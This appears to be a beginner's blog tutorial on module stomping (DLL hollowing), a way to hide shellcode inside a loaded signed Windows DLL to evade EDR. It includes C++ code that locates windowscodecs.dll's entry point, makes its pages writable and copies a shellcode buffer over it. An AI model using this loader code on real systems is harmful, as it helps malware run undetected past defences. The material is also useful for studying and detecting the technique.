[hollow] It is a technique used to hide malicious code within memory by overwriting the space of a loaded DLL (typically a digitally signed DLL for evasion purposes).

Please dont be offended by my c++ skills (Noobie alert).

How it works

  1. Load a Sacrificial DLL: The injector loads a large, legitimate DLL into the target process using LoadLibraryEx or LdrLoadDll. (Note: It is often better to trigger a legitimate load event than to manually map a new, unsigned DLL).
  2. Change Permissions: Identify a section within the DLL and change the memory protection to PAGE_EXECUTE_READWRITE using VirtualProtect.
    1. This is often a "red flag" for EDRs, but it's a necessary step.
  3. The "Stomp": This is the core of the technique. We directly write our code into the memory space of the loaded DLL. We can overwrite functions in the .text section, target the entry point via OptionalHeader.AddressOfEntryPoint, heck we can even target a specific exported function or rewrite the whole DLL and manually map the entire DLL which is not module stomping and more for creating a loader which is currently far beyond my smooth brain's processing power. We will keep it simple as is . And always consider the risk-to-reward ratio regarding stealth versus the risk of a process crash.
    • Change the protection back to PAGE_EXECUTE_READ to look more "natural." Finally, a thread is started at the beginning of the stomped region. You can trigger execution using a proxy, an "on-load" method, or any other hijacking means. For starters to understand the whole mapping of a process u can check PE format [PE.svg] [PE.png] Here our goal is to start from the DOS Header and walk through to find AddressOfEntryPoint. TO do so we
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hTargetDll;

PIMAGE_NT_HEADERS ntHeaders =
(PIMAGE_NT_HEADERS)((BYTE*)hTargetDll + dosHeader->e_lfanew);

LPVOID targetAddr =
(LPVOID)((BYTE*)hTargetDll +
ntHeaders->OptionalHeader.AddressOfEntryPoint);

The full logic

HMODULE hTargetDll = LoadLibrary(L"windowscodecs.dll");
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hTargetDll;
PIMAGE_NT_HEADERS ntHeaders =
	(PIMAGE_NT_HEADERS)((BYTE*)hTargetDll + dosHeader->e_lfanew);

LPVOID targetAddr =
	(LPVOID)((BYTE*)hTargetDll +
		ntHeaders->OptionalHeader.AddressOfEntryPoint);
//Changing the permission
SYSTEM_INFO si;
GetSystemInfo(&si);
//Check the size of the page .
SIZE_T pageSize = si.dwPageSize;
//check size of sc

unsigned int sc_size = sizeof(sc);
uintptr_t addr = reinterpret_cast<uintptr_t>(targetAddr);
uintptr_t addrEnd = addr + sc_size;


// Align down to page boundary
uintptr_t pageStart = addr & ~(pageSize - 1);
uintptr_t pageEnd = (addrEnd + pageSize - 1) & ~(pageSize - 1);
SIZE_T totalProtectSize = pageEnd - pageStart;
// Define size we want


DWORD oldProtect;

// Change protection of one page
VirtualProtect(
	reinterpret_cast<LPVOID>(pageStart),
	totalProtectSize,
	PAGE_EXECUTE_READWRITE,
	&oldProtect
);
//Copy our shellcode
memcpy(targetAddr, sc, sc_size);

//checking for erros

[giphy.gif] IT works . As it should.

Notes to consider

My next task involves experimenting with the following: